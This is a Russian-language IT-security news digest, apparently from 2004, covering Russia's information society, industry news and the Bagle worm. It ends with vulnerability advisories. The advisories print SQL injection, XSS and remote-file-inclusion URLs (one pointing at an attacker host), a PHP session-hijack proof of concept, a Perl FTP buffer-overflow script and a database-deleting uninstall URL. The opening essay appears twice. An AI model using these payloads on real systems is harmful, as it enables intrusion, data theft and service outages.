В информационное общество наши граждане идут с разной скоростью.

Россия уже давно стала частью мирового информационного общества, однако разные слои населения абсолютно по-разному участвуют в международных информационных потоках. На международной арене наша страна не находится в списке тех, кто страдает от "цифрового неравенства", но современные информационные технологии (ИТ) доступны лишь достаточно обеспеченным и образованным гражданам. При этом даже те, кто постоянно пользуется ИТ, зачастую не соблюдают правил информационной безопасности (ИБ), отчего в конечном счете страдает вся информационная структура страны.

По мнению многих экспертов и участников ИТ-рынка, Россия уже давно является частью глобального информационного общества – телевизоры есть практически в каждой семье, телефоном никого не удивишь, а к Интернету постоянно подключается уже около 10 % населения страны. При этом спутниковая группировка страны ветшает, что сказывается на качестве телесигнала, в стране есть тысячи населенных пунктов без телефонной связи вообще, а Интернет распространен пока в основном в крупных городах.

Конечно, не все так плохо. По информации "Финансовых Известий", сейчас устранена реальная угроза потери Россией "спутниковых мест" на орбите. Почти половина спутниковой группировки выработала свой ресурс, но в 2004 году будет запущено 3 спутника, и пропускная способность спутниковой системы вырастет на 40 %. Для обеспечения телефонной связью "отключенных" городов в 2004 году будет сформирован специальный резерв, в который все операторы связи будут отчислять часть своих доходов, на эти деньги и будет развиваться инфраструктура там, где связи нет вообще. На развитие "частного" Интернета повлиять трудно – все зависит от того, сколько денег российские граждане смогут потратить на компьютеры, однако в рамках реформы почты на почтовых отделениях создаются пункты коллективного доступа в Интернет для всех желающих – поставлена задача довести их количество до 10 тысяч. Однако количественный и качественный рост инфо-коммуникационной инфраструктуры страны несет и ряд серьезных угроз как для государства, так и для бизнеса и частных граждан. Причем представители этих трех категорий российского общества борются с информационными угрозами по-разному.

Угрозы внешние, внутренние и культурологические

В российской "Лаборатории Касперского" считают, что три группы Интернет-пользователей – домашние пользователи, корпорации и госструктуры защищены в разной степени. Российские частные пользователи Интернета готовы к угрозам так же, как пользователи в развитых странах, – на среднем уровне. Они редко утруждают себя обновлением антивирусных программ. Информационные системы российских крупных компаний защищены лучше. В "Лаборатории Касперского" это объясняют тем, что уровень российского системного администратора, как правило, выше его западного коллеги, что объясняется хорошим качеством нашего образования. К услугам сисадмина есть все необходимые средства – было бы желание. По мнению старшего вице-президента "АМТ Труп" Андрея Зюзина, "средства защиты адекватны инструментам злоумышленников, а картины из боевиков о кознях кибертеррористов имеют мало общего с жизнью". Правда, в малых предприятиях сисадминами работают, как правило, малоквалифицированные студенты со всеми вытекающими последствиями.

Госструктуры защищают свои информационные системы весьма успешно, впрочем, иногда они прибегают к "внеинформационным" методам. Часто такие системы вообще не имеют выхода в Интернет или защищены мощными шлюзами, ограничивающими обмен с мировой паутиной. А в силовых ведомствах часто для выхода в Интернет используется отдельно стоящий компьютер, который не имеет дисковода. Найденную в сети информацию можно лишь распечатать на принтере. В таком случае кибератака или вирусное заражение невозможны. При этом в России в ближайшее время должны быть созданы элементы "электронного правительства", и тогда с проблемами информационной безопасности могут столкнуться многие граждане страны. Чего стоит информация, обнародованная главой ЦИК Александром Вешняковым о том, что во время парламентских выборов было зафиксировано более 900 хакерских атак на систему ГАС "Выборы".

Без закона, как без компьютера

В России несколько лет назад была принята "Концепция информационной безопасности", однако сейчас нужно принять ряд конкретных законов, не противоречащих друг другу. На подходе закон "О Государственном регистре населения (ГРН)" (общенациональная база данных, содержащая персональную информацию о гражданах страны), который должен определить меры безопасности и сохранности информации. Давно обсуждается закон "О персональной информации", уже принят закон "Об электронно-цифровой подписи (ЭЦП)", который пока не применяется, – в 2004 году будут созданы удостоверяющие центры, где будут выдавать ключи-программы для скрепления киберподписью послания по электронной почте. С 1 января 2004 года в России вступил в силу ГОСТ, основанный на международных правилах ИБ, которые называются Common Criteria.

Мнения игроков российского ИТ-рынка по законодательному вопросу весьма осторожны – им в России еще работать. Директор по специальным работам компании "Оптима" Владимир Красин считает: "Законодательство содержит ряд нормативных документов, которые регулируют отношения в информационной сфере. Осуществляется переход к современным документам, соответствующим международным стандартам ИСО, и в недалеком будущем юридическая база будет создана". Первый замгендиректора ЗАО "Комстар" Татьяна Кострова видит выход в участии страны в международном информационном сообществе: "После принятия закона "О связи" сложилась база, позволяющая развиваться в рамках глобального информационного общества. В ближайшее время на повестке дня станет вопрос не об изменении законодательства, а вопрос об участии России в создании межгосударственного законодательства и разработке международных стандартов в области ИБ".

Президент компании "Открытые технологии" Сергей Калин считает: "Если защищаемая информация категорируется как секретная (СС или ОВ), то требования по организации ее защиты определены достаточно четко, когда же защищаемая информация категорируется как конфиденциальная, то все требования имеют скорее рекомендательный, чем обязательный характер". Россия уже давно стала частью мирового информационного общества, однако разные слои населения абсолютно по-разному участвуют в международных информационных потоках. На международной арене наша страна не находится в списке тех, кто страдает от "цифрового неравенства", но современные информационные технологии (ИТ) доступны лишь достаточно обеспеченным и образованным гражданам. При этом даже те, кто постоянно пользуется ИТ, зачастую не соблюдают правил информационной безопасности (ИБ), отчего в конечном счете страдает вся информационная структура страны.

По мнению многих экспертов и участников ИТ-рынка, Россия уже давно является частью глобального информационного общества – телевизоры есть практически в каждой семье, телефоном никого не удивишь, а к Интернету постоянно подключается уже около 10 % населения страны. При этом спутниковая группировка страны ветшает, что сказывается на качестве телесигнала, в стране есть тысячи населенных пунктов без телефонной связи вообще, а Интернет распространен пока в основном в крупных городах.

Конечно, не все так плохо

По информации "Финансовых Известий", сейчас устранена реальная угроза потери Россией "спутниковых мест" на орбите. Почти половина спутниковой группировки выработала свой ресурс, но в 2004 году будет запущено 3 спутника, и пропускная способность спутниковой системы вырастет на 40 %. Для обеспечения телефонной связью "отключенных" городов в 2004 году будет сформирован специальный резерв, в который все операторы связи будут отчислять часть своих доходов, на эти деньги и будет развиваться инфраструктура там, где связи нет вообще. На развитие "частного" Интернета повлиять трудно – все зависит от того, сколько денег российские граждане смогут потратить на компьютеры, однако в рамках реформы почты на почтовых отделениях создаются пункты коллективного доступа в Интернет для всех желающих – поставлена задача довести их количество до 10 тысяч. Однако количественный и качественный рост инфо-коммуникационной инфраструктуры страны несет и ряд серьезных угроз как для государства, так и для бизнеса и частных граждан. Причем представители этих трех категорий российского общества борются с информационными угрозами по-разному.

Угрозы внешние, внутренние и культурологические В российской "Лаборатории Касперского" считают, что три группы Интернет-пользователей -домашние пользователи, корпорации и госструктуры защищены в разной степени. Российские частные пользователи Интернета готовы к угрозам так же, как пользователи в развитых странах, – на среднем уровне. Они редко утруждают себя обновлением антивирусных программ.

Информационные системы российских крупных компаний защищены лучше. В "Лаборатории Касперского" это объясняют тем, что уровень российского системного администратора, как правило, выше его западного коллеги, что объясняется хорошим качеством нашего образования. К услугам сисадмина есть все необходимые средства – было бы желание. По мнению старшего вице-президента "АМТ Труп" Андрея Зюзина, "средства защиты адекватны инструментам злоумышленников, а картины из боевиков о кознях кибертеррористов имеют мало общего с жизнью". Правда, в малых предприятиях сисадминами работают, как правило, малоквалифицированные студенты со всеми вытекающими последствиями.

Госструктуры защищают свои информационные системы весьма успешно, впрочем, иногда они прибегают к "внеинформационным" методам. Часто такие системы вообще не имеют выхода в Интернет или защищены мощными шлюзами, ограничивающими обмен с мировой паутиной. А в силовых ведомствах часто для выхода в Интернет используется отдельно стоящий компьютер, который не имеет дисковода. Найденную в сети информацию можно лишь распечатать на принтере. В таком случае кибератака или вирусное заражение невозможны. При этом в России в ближайшее время должны быть созданы элементы "электронного правительства", и тогда с проблемами информационной безопасности могут столкнуться многие граждане страны. Чего стоит информация, обнародованная главой ЦИК Александром Вешняковым о том, что во время парламентских выборов было зафиксировано более 900 хакерских атак на систему ГАС "Выборы".

Intel войдет в Liberty Alliance

Как стало известно, в четверг организация Liberty Alliance Project, разрабатывающая спецификации безопасности, должна объявить о присоединении к ней производителя микропроцессоров Intel.

Liberty Alliance был образован в 2001 году с целью создания спецификаций, которые позволят регистрироваться в разных сетях, единожды указав информацию о пользователе — такую, как пароль и имя. Подобные «федеративные» технологии защиты приобретают все более важное значение по мере того, как компании стремятся усилить безопасность и защитить данные в онлайновых сетях.

Членство Intel в Liberty Alliance отвечает стратегии компании по стимулированию спроса на ее процессоры путем поддержки компаний и технологий, поощряющих использование ПК и мобильных устройств, отмечает аналитик ZapThink Джейсон Блумберг.

Представитель Liberty Alliance подтвердил, что анонс членства Intel запланирован на четверг.

В организацию входит около 160 компаний, в том числе Sun Microsystems и Sony, а также предприятий, ориентированных на конечного потребителя, вроде Fidelity Investments и American Express. Liberty Alliance разрабатывает технические спецификации и рекомендации по использованию новой технологии защиты информации в разных бизнес-системах, таких как система для предоставления услуг для владельцев мобильных телефонов.

В ноябре прошлого года организация выпустила второй набор спецификаций федеративного управления идентификацией, называемый Phase 2, в котором содержатся рекомендации по вопросам, относящимся к защите персональной информации и безопасности.

В настоящее время разрабатывается несколько пересекающихся спецификаций по безопасности и идентификации. В прошлом году IBM, Microsoft, BEA Systems и RSA Security выпустили техническую спецификацию WS-Federation, которая пересекается со спецификациями Liberty Alliance.

Liberty Alliance создал конкурент Microsoft - Sun Microsystems по поручению Visa International. Однако теперь эта организация находится под контролем множества компаний.

Защита цифровых сертификатов

Компании Aladdin Software Security R.D и "Сигнал-КОМ" развивают сотрудничество, начавшееся в 2002 году. Совместными усилиями специалистов компаний была реализована поддержка eToken и в рамках новой разработки "Сигнал-КОМ" - криптопровайдера Signal-COM CSP. В настоящее время пользователи Signal-COM CSP могут использовать USB-ключи и смарт-карты eToken в качестве аппаратных носителей закрытых ключей и персональных сертификатов. Такие возможности, как автоматическое подключение сертификатов из памяти eToken к хранилищу персональных сертификатов операционной системы при подсоединении к ПК, отличают токен от остальных поддерживаемых аппаратных носителей - дискет, устройств Touch Memory (iButton) и др. Поэтому "Сигнал-КОМ" позиционирует ключи и смарт-карты eToken в качестве основного рекомендуемого ключевого носителя Signal-СOM CSP. Дальнейшие планы компаний предусматривают сертификацию Signal-COM CSP по программе eToken Enabled и получение компанией "Сигнал-КОМ" статуса сертифицированного технологического партнера Aladdin. Кроме того, в настоящее время завершается комплекс работ по реализации поддержки Signal-COM CSP в составе системы защиты конфиденциальной информации Secret Disk NG, разработанной Aladdin.

Подозреваемых в кибертерроризме будут задерживать на месяц

Госдума России приняла в пятницу во втором чтении законопроект, увеличивающий с 10 до 30 суток срок предъявления обвинения задержанным, подозреваемым в причастности к террористической деятельности, при расследовании ряда соответствующих преступлений включая кибертерроризм. Такие поправки предлагается внести в Уголовно-процессуальный кодекс РФ.

Поправки в УПК РФ предусматривают также, что при избрании меры пресечения в отношении подозреваемого или обвиняемого должны учитываться "тяжесть преступления, сведения о личности подозреваемого или обвиняемого, его возраст, состояние здоровья, семейное положение, род занятий и другие обстоятельства".

В Молдавии заблокирован крупнейший интернет-провайдер

18 марта в Молдавии были отключены каналы крупнейшего в стране интернет-провайдера Megadat.com, услугами которого пользовались около 10 тыс. абонентов (примерно 70% национального рынка интернет-услуг). Отключение каналов, предоставляемых монополистом в сфере электросвязи "Молдтелеком", было проведено по решению национального Агентства по регламентированию в области электросвязи и информатики.

Конфликт между Агентством и компанией начался осенью прошлого года. Megadat.com изменил свое наименование и юридический адрес, но не переоформил лицензию в положенный по закону 10-дневный срок, подав заявление на новую лицензию лишь через 11 месяцев. В результате Агентство не стало выдавать новую лицензию и признало недействительной старую. Решение Агентства было подтверждено апелляционной палатой и высшей судебной палатой в начале марта 2004 года и 18 марта в полдень каналы Megadat.com были отключены. Среди абонентов компании национальные СМИ, органы госуправления, банки.

Пресс-служба Megadat.com сообщила о передаче всех обязательств компании перед клиентами, партнерами и банками компании Megadat.com International. С данной целью были переоформлены все контракты, заключенные с клиентами и поставщиками компании. Эта структура, по заявлению пресс-службы компании, имеет все необходимые лицензии, однако "Молдтелеком" отказывается заключать с ней договоры на предоставление каналов и услуг. Руководство компании склонно видеть политическую подоплеку в действиях Агентства - отец президента Megadat.com возглавил в Молдавии социал-демократическую партию, опозиционную правящей в стране партии.

Две победы "ВымпелКома"

Вчера второй по величине российский сотовый оператор - "ВымпелКом" одержал две судебные победы. Московский арбитражный суд признал недействительным пункт предписания Госсвязьнадзора, обязывающий оператора переоформить лицензию или перезаключить договоры почти с 6 млн абонентов в Москве и области. Несколькими часами раньше Мосгорсуд отклонил поддержанную Министерством связи кассационную жалобу бывшего абонента "ВымпелКома" Олега Чубарова. Проигравшие стороны не согласны с решениями суда и намерены оспаривать их в вышестоящих инстанциях.
Главной новостью вчера стало решение московского арбитражного суда о признании недействительным пункта предписания управления Госсвязьнадзора (УГНСИ) по Москве и Московской области, выданного "ВымпелКому" 9 января 2004 г. по итогам внеплановой проверки его деятельности. Недействительным был признан пункт 5 предписания Госсвязьнадзора об устранении "ВымпелКомом" нарушения порядка предоставления услуг сотовой связи.

Претензия УГНСИ связана со взаимоотношениями "ВымпелКома" с его 100% -ным дочерним предприятием "КБ Импульс", которому принадлежит лицензия на оказание услуг сотовой связи в Москве и области. В предписании надзорного органа отмечалось, что "КБ Импульс" не имеет договоров с абонентами и тем самым нарушает российское законодательство. При этом, по мнению Госсвязьнадзора, агентское соглашение между "КБ Импульс" и "ВымпелКомом" не предусматривает прямо, что "ВымпелКом" будет подписывать договоры с абонентами от имени "КБ Импульс", что также является нарушением.

Оспариваемый пункт предписания обязывал "ВымпелКом" устранить это нарушение до 1 февраля 2004 г. Теперь же у компании, похоже, пропала острая необходимость перезаключать договоры со своими столичными абонентами или переоформлять лицензию.

"Мы полностью удовлетворены решением суда, который подтвердил абсолютную законность порядка предоставления услуг нашей компании абонентам, а также правовых отношений между ОАО "ВымпелКом" и его дочерним предприятием ОАО "КБ Импульс", - говорит директор "ВымпелКома" по связям с общественностью Михаил Умаров. - При этом мы по-прежнему нацелены на конструктивный диалог с регулирующими органами для разрешения всех возникших за последнее время противоречий взаимоприемлемым образом".

В Министерстве связи, которому подчиняется Госсвязьнадзор, с решением суда не согласны и намерены его обжаловать. "К сожалению, суд не удовлетворил наше ходатайство о привлечении органов прокуратуры к участию в деле и предоставлении соответствующего заключения, - сообщили "Ведомостям" в Управлении по информационной политике Минсвязи. - Мы по-прежнему уверены в том, что УГНСИ по Москве и Московской области действовало в строгом соответствии с законодательством, поэтому будем подавать апелляцию".

Аналитики восприняли "оправдание "ВымпелКома" с энтузиазмом. "Это позитивная новость для инвестиционного климата в России. Она показывает, что наш суд может защитить права эмитента, - говорит начальник аналитического отдела компании "НИКойл" Константин Чернышев. - Мы всегда верили, что "ВымпелКом" ведет бизнес в соответствии с законом. Теперь те инвесторы, которые воздерживались от вложений в акции "ВымпелКома" из-за этих проблем, могут вновь вернуться".

"Это хорошая новость для "ВымпелКома". Опасения инвесторов сняты, и акции оператора пойдут вверх", - вторит ему аналитик "Тройки Диалог" Евгений Голосной. Однако, по его мнению, такие события не проходят бесследно и отбрасывают тень на российский рынок в целом. "Инвесторы всегда будут помнить, что в России, несмотря на привлекательность рынка, возможны подобные случаи", - добавляет Голосной.

"ВЫМПЕЛКОМ" ПОБЕДИЛ АБОНЕНТА: Вчера Мосгорсуд рассмотрел кассационные жалобы адвокатов бывшего абонента "ВымпелКома" Олега Чубарова и Минсвязи на решение Савеловского суда г. Москвы от 16 января 2004 г. Тогда Савеловский суд удовлетворил иск "ВымпелКома" о взыскании с Олега Чубарова задолженности за услуги сотовой связи и отказал в удовлетворении встречного иска. Чубаров пытался не платить компании на том основании, что услуги связи оказывает не сам "ВымпелКом", а его "дочка" - "КБ Импульс". Вчерашний суд подтвердил доводы "ВымпелКома" и оставил в силе решение Савеловского суда. Директор "ВымпелКома" по связям с общественностью Михаил Умаров говорит, что компания полностью удовлетворена судебным решением. Адвокат Чубарова Вадим Прохоров на вчерашнем заседании ходатайствовал о переносе слушаний в связи с неявкой представителей Минсвязи (у них возникли проблемы с доверенностями в связи с реформой правительства) и с болезнью самого Чубарова. Однако суд быстро решил дело в пользу "ВымпелКома". Прохоров намерен обжаловать это решение в вышестоящих инстанциях. "Окончательную точку в этом долгом и сложном споре поставит надзорная инстанция или Верховный суд", - говорит адвокат Чубарова. По его мнению, судьи просто не до конца разобрались в сути рассматриваемого вопроса.
 

Обнаружены еще четыре модификации червя Bagle

Специалисты компании Sophos обнаружили еще четыре модификации вредоносной программы Bagle. Данный червь, напомним, появился около двух месяцев назад, и с тех пор авторы выпустили порядка полутора десятков версий вируса.

Изначально Bagle распространялся по электронной почте в виде вложенных в письмо исполняемых файлов. После неосторожного запуска такого файла пользователем компьютера червь регистрировал себя в реестре операционной системы Windows и пытался разослать копии кода по найденным на машине адресам. Более поздние варианты вредоносной программы научились прятать собственный код внутри защищенных паролем архивов форматов ZIP и RAR. Причем пароль к архиву указывался в теле сообщения в графическом виде, что существенно осложняло процесс идентификации Bagle.

Обнаруженные в четверг модификации Bagle.Q, Bagle.R, Bagle.S и Bagle.T и вовсе не требуют от пользователя выполнения каких-либо действий. Более того, письма теперь даже не содержат вложений, что может ввести в заблуждение многих владельцев ПК. Для проникновения в систему новые варианты вируса эксплуатируют обнаруженную еще в прошлом году уязвимость в браузере Internet Explorer. Для реализации атаки хакеру достаточно вынудить пользователя просмотреть составленное определенным образом послание в программе Microsoft Outlook. Понятно, что сделать это не так уж и сложно.

После активации вредоносного кода червь автоматически соединяется с одним из ранее инфицированных ПК, выбирая произвольный IP-адрес из заранее определенного списка. Далее на компьютер пользователя загружается основной компонент червя, который затем изменяет реестр, закрывает запущенные антивирусные процессы, добавляет свой код к найденным на дисках исполняемым файлам и выполняет ряд других действий. В ближайшее время антивирусные компании выпустят обновления баз данных для защиты от Bagle, кроме того, пользователям рекомендуется установить заплатку от Microsoft.

Россия: на Урале рост числа мошенничеств с пластиковыми банковскими картами

Сотрудники Управления по борьбе с экономическими преступлениями прогнозируют на Среднем Урале рост числа мошенничеств с пластиковыми банковскими картами. Как сказал сегодня на пресс-конференции в центре «ТАСС-Урал» заместитель начальника Управления по борьбе с экономическими преступлениями по Свердловской области Сергей Сунцов, в 2003 году были зафиксированы случаи мошенничества с пластиковыми картами системы «Visa». По этим фактам возбуждено 3 уголовных дела. По одному из них причиненный ущерб составил 900 тыс. рублей. «Самих фактов мошенничества с картами пока немного, но мы прогнозируем значительный рост. В связи с ростом числа карточек у населения и появлением новых технических средств число таких случаев может возрасти», - отметил С. Сунцов.

Siemens внедряет промышленные VPN

Представители компании Siemens Automation and Drives сообщили о разработке новых модулей Security Modules, предназначенных для использования в промышленных сетях Industrial Ethernet. Модули S-612 и S-613 предотвращают неавторизованный доступ к объектам предприятия, используя для этого технологию виртуальных частных сетей (VPN) и кодирования информации. Security Modules защищают сети, их сегменты, а также сетевые устройства от несанкционированного доступа, изъятия данных и их искажения. Информация может передаваться между такими модулями через незащищенные участки сети благодаря реализации Security Modules функций межсетевых экранов, выделения пакетов и передачи их через VPN c использованием технологий 128-разрядного кодирования и туннелирования. Модули обеспечивают защиту трафика таких IP-протоколов, как PROFInet, Ethernet/IP, Modbus/TCP, а также промышленных протоколов второго уровня. В дополнение к аппаратной части защиты разработаны также программные модули для ПК и рабочих станций. Первое представление продуктов промышленной сетевой безопасности ожидается в апреле на выставке Hanover Fair, а коммерческие поставки запланированы на июль. Новые продукты пройдут сертификацию согласно требованиям ISO/IEC 15408 Common Criteria level EAL 4+. Консалтинговые услуги по их применению будут предоставляться подразделением Siemens Industrial Services.

В Германии проводят облавы на хакеров

Правоохранительные органы ФРГ провели первую всегерманскую полицейскую акцию, призванную выявить находящихся на территории страны участников международных хакерских организаций, сообщает РИА "Новости".

В четверг был завершен второй этап, когда обыскам подверглись еще 337 адресов, в том числе и фирмы, чьи компьютерные серверы пострадали от хакеров из интернета. По данным CNET News, всего было проведено более 750 обысков, арестовано 15 человек. В ходе обысков были изъяты 19 серверов, 200 персональных компьютеров и порядка 40 тысяч дисков CD-R и DVD-R.
 

Россию ждет кредитование через Интернет.

Стартовавший накануне проект "Кредиты.Ру" предоставит посетителям сервис онлайнового заполнения кредитной заявки с возможностью отправки сразу в несколько банков и компаний.

Проект позиционируется как специализированный тематический сайт, посвященный вопросам кредитования физических лиц и предприятий малого и среднего бизнеса на всей территории России.

Основная цель сайта – оказать помощь посетителям в поиске и выборе необходимых кредитных ресурсов, а также предоставить возможность заинтересованным банкам и компаниям донести подробную информацию о предлагаемых кредитных продуктах, товарах и услугах до потенциальных потребителей.

Для заинтересованных банков и компаний предлагается удобный интерфейс для ввода и редактирования информации о компании и предложениях, доступный сразу после регистрации участника на сайте.

"Сегодня через Интернет можно предоставить потенциальному заемщику набор сервисов для облегчения задачи выбора кредитной организации и кредитного продукта, а также дать некоторый инструментарий заинтересованным сторонам (и заемщику, и кредитору), позволяющий минимизировать усилия и затраты времени, – говорит Валерий Субботин, руководитель проекта "Кредиты.Ру".

На данный момент нереально провести всю процедуру получения кредита для физического лица через Интернет – сказываются как технологические, так и юридические ограничения. Возможно, ситуация будет постепенно меняться в ближайшие 2-3 года, особенно в связи с постепенным решением вопросов, связанных с ЭЦП".

Удаленный отказ в обслуживании против WFTPD Pro

Программа: WFTPD Pro 3.21 Release 2, 3.21 Release 1

Опасность: Низкая

Наличие эксплоита: Нет

Описание: Уязвимость обнаружена в WFTPD Pro. Удаленный авторизованный пользователь может аварийно завершить работу административного интерфейса.

Удаленный авторизованный пользователь может послать чрезмерно длинное значение в качестве параметра к большинству FTP команд, чтобы аварийно завершить работу активного административного интерфейса.

URL производителя:http://www.wftpd.com/What's%20New.html#321R3Pro

Решение:Установите обновленную версию программы (3.21 Release 3)

Несколько уязвимостей в 4nGuestbook и 4nalbum модулях для PHP-Nuke

Программа: 4nalbum и 4nGuestbook 0.92 Опасность: Высокая Наличие эксплоита: Да Описание: Уязвимость обнаружена в 4nGuestbook и 4nalbum модулях для PHP-Nuke. Удаленный авторизованный администратор может внедрить произвольные SQL команды. Удаленный пользователь может выполнить XSS нападение. Удаленный пользователь может выполнить произвольный PHP код на уязвимом сервере. 1. 4nGuestbook http://[target]/nuke71/modules.php?name=4nGuestbook&entry=x[xss%20code%20here] http://[target]/nuke71/admin.php?op=NukebookEditEntry&nbid=-2%20UNION%20SELECT%20null%20/* 2. 4nalbum http://[target]/nuke71/modules/4nalbum/public/displaycategory.php?basepath=h ttp://[attacker] http://localhost/nuke71/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION %20SELECT%20null,null,pwd,2,null,null,null http://localhost/nuke71/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,aid, 2,null,null,null URL производителя: http://www.warp-speed.de/ Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Multiple vulnerabilities in 4nalbum module

Удаленное выполнение произволного кода в SAP Internet Transaction Server

Программа: SAP Internet Transaction Server 6.20, 6.10, 4.6 Опасность: Высокая Наличие эксплоита: Да Описание: Несколько уязвимостей обнаружено в SAP Internet Transaction Server. Удаленный пользователь может выполнить произвольный код на целевой системе. Несколько переполнений буфера обнаружено в Agate службе в функциях ~command, ~runtimemode, и ~session. Также переполнение буфера обнаружено в обработке HTTP Content-Type поля. Удаленный пользователь может представить специально обработанный запрос, чтобы выполнить произвольный код на целевой системе. Утечка информации также обнаружена в /scripts/wgate/?~command=AgateInstallCheck. Функция отображает информацию обо всех установленных DLL, включая номер версии и инсталляционный путь. Пример/Эксплоит: http://www.securitylab.ru/_Exploits/sap/SAP_ITS_wgate_format.txt http://www.securitylab.ru/_Exploits/sap/SAP_ITS_runtimemode.txt http://www.securitylab.ru/_Exploits/sap/SAP_ITS_MIME.txt http://www.securitylab.ru/_Exploits/sap/SAP_ITS_command.txt URL производителя:http://www.sap.com/ Решение:Уязвимость устранена в ITS 6.20 PL7, 6.10 PL30, and 4.6 PL463.

Ссылки: Источник

Удаленное выполнение произволного кода в Courier Mail Server

Программа: Courier Mail Server до версии 3.0.0 Опасность: Высокая Наличие эксплоита: Да Описание: Несколько переполнений буфера обнаружено в Courier Mail Server. Удаленный пользователь может выполнить произвольный код на целевой системе. Переполнение буфера обнаружено в 'iso2022jp.c' и 'shiftjis.c' файлах в обработке Unicode символов. Удаленный пользователь может послать специально обработанный Unicode текст, чтобы вызвать переполнение буфера и выполнить произвольный код на целевой системе. URL производителя:http://www.courier-mta.org/ Решение:Установите обновленную версию программы: http://www.courier-mta.org/status.html

Courier Mail Server

Внедрение в сессию другого пользователя в PHPX

Программа: PHPX 2.0-3.2.4 Опасность: Средняя Наличие эксплоита: Да Описание: Уязвимость обнаружена в PHPX в аутентификации сессий. Удаленный пользователь может внедриться в сессию другого пользователя. Удаленный пользователь может установить user ID к значению целевого пользователя с активной сессией. Программное обеспечение генерирует идентификатор сессии инкрементальным методом. Пример/Эксплоит: <?php /* Proof of concept for exploiting PHPX 3.2.4 (http://www.phpx.org) */ /* Quick hack, not really an affective tool, only useful as a demonstration */ /* Written by HelloWorld - Ryan Wray */ /* Usage: php -q exploit_file.php <host> <port> <admin_folder_location> */ function usage() echo "Usage request"; function bytes_left($fp) $status=socket_get_status($fp); if($status['unread_bytes'] > 0) { return true; } return false; print_r($_SERVER['argv']); if($_SERVER['argc'] != 4) exit(usage()); // Attempt to connect to host. $fp=@fsockopen($_SERVER['argv'][1],$_SERVER['argv'][2]); if(!$fp) exit('Could not connect to host: '.$_SERVER['argv'][1].':'.$_SERVER['argv'][2]); else fputs($fp,"GET ".$_SERVER['argv'][3]."index.php HTTP/1.1\r\n"); fputs($fp,"Host: ".$_SERVER['argv'][1]."\r\n"); fputs($fp,"Cookie: PXL=2\r\n\r\n"); // Start accepting data, otherwise socket_get_status will say there are 0 unread bytes. echo fgets($fp,1024); // While we can read. while(bytes_left($fp)) echo fgets($fp,1024); // Close the socket. fclose($fp); ?> URL производителя: http://www.phpx.org/ Решение:Установите обновленную версию программы: http://sourceforge.net/project/showfiles.php?group_id=67670

PHPX 2.x - 3.2.4

Удаленный отказ в обслуживании против GlobalSCAPE Secure FTP Server

Программа: GlobalSCAPE Secure FTP Server 2.0 Build 03.11.2004.2 Опасность: Средняя Наличие эксплоита: Да Описание: Переполнение буфера обнаружено в GlobalSCAPE Secure FTP Server. Удаленный авторизованный пользователь может аварийно завершить работу сервера. Удаленный авторизованный пользователь может послать специально сформированную команду SITE, с параметром ~252 байта, чтобы перезаписать память и аварийно завершить работу сервера. Пример/Эксплоит: #!/usr/bin/perl use IO::Socket; $host = "192.168.1.243"; $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2117"); unless ($remote) { die "cannot connect to ftp daemon on $host" } print "connected\n"; while (<$remote>) print $_; if (/220 /) { last; } $remote->autoflush(1); my $ftp = "USER anonymous\r\n"; print $remote $ftp; print $ftp; sleep(1); while (<$remote>) print $_; if (/331 /) { last; } $ftp = join("", "PASS ", "a\@b.com", "\r\n"); print $remote $ftp; print $ftp; sleep(1); while (<$remote>) print $_; if (/230 /) { last; } $ftp = join ("", "SITE ZIP /d:", "A"x(252), "\r\n"); print $remote $ftp; print $ftp; sleep(1); while (<$remote>) print $_; if (/250 Done/) { last; } close $remote; URL производителя: http://www.cuteftp.com/gsftps/ Решение:Установите обновленную версию программы (2.0 Build 03.16.2004.1)

GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)

Удаленный отказ в обслуживании против ISAKMP daemon (isakmpd)

Программа: ISAKMP daemon (isakmpd) Опасность: Низкая Наличие эксплоита: Нет Описание: Несколько уязвимостей обнаружено в ISAKMP daemon (isakmpd) в обработке данных. Удаленный пользователь может аварийно завершить работу программы. Уязвимость обнаружена в проверке данных и обработке функций. Удаленный пользователь может послать специально обработанное ISAKMP сообщение, чтобы аварийно завершить работу isakmpd. Также сообщается о нескольких утечках памяти. Уязвимы 'doi.h', 'util.h', 'ipsec.c', 'isakmp_doi.c' и 'message.c' файлы. URL производителя:http://www.openbsd.org/ Решение:Установите соответствующее обновление: ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/015_isakmpd2.patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/020_isakmpd2.patch

isakmpd memory corruption vulnerability

Удаление записей в базе данных в vCard

Программа: Belchior Foundry vCard 2.9 Опасность: Высокая Наличие эксплоита: Да Описание: Уязвимость обнаружена в vCard. Удаленный пользователь может удалить столбцы в основной базе данных. Сообщается, что для запуска сценария 'admin/uninstall.php' не требуется авторизация удаленным пользователем. В результате сценарий может удалить произвольные файлы базы данных. http://[target]/[Vcard folder]/admin/uninstall.php http://[target]/[Vcard folder]/admin/uninstall.php?step=2 URL производителя:http://www.belchiorfoundry.com/vcard/ Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Vcard 2.8 uninstall script problem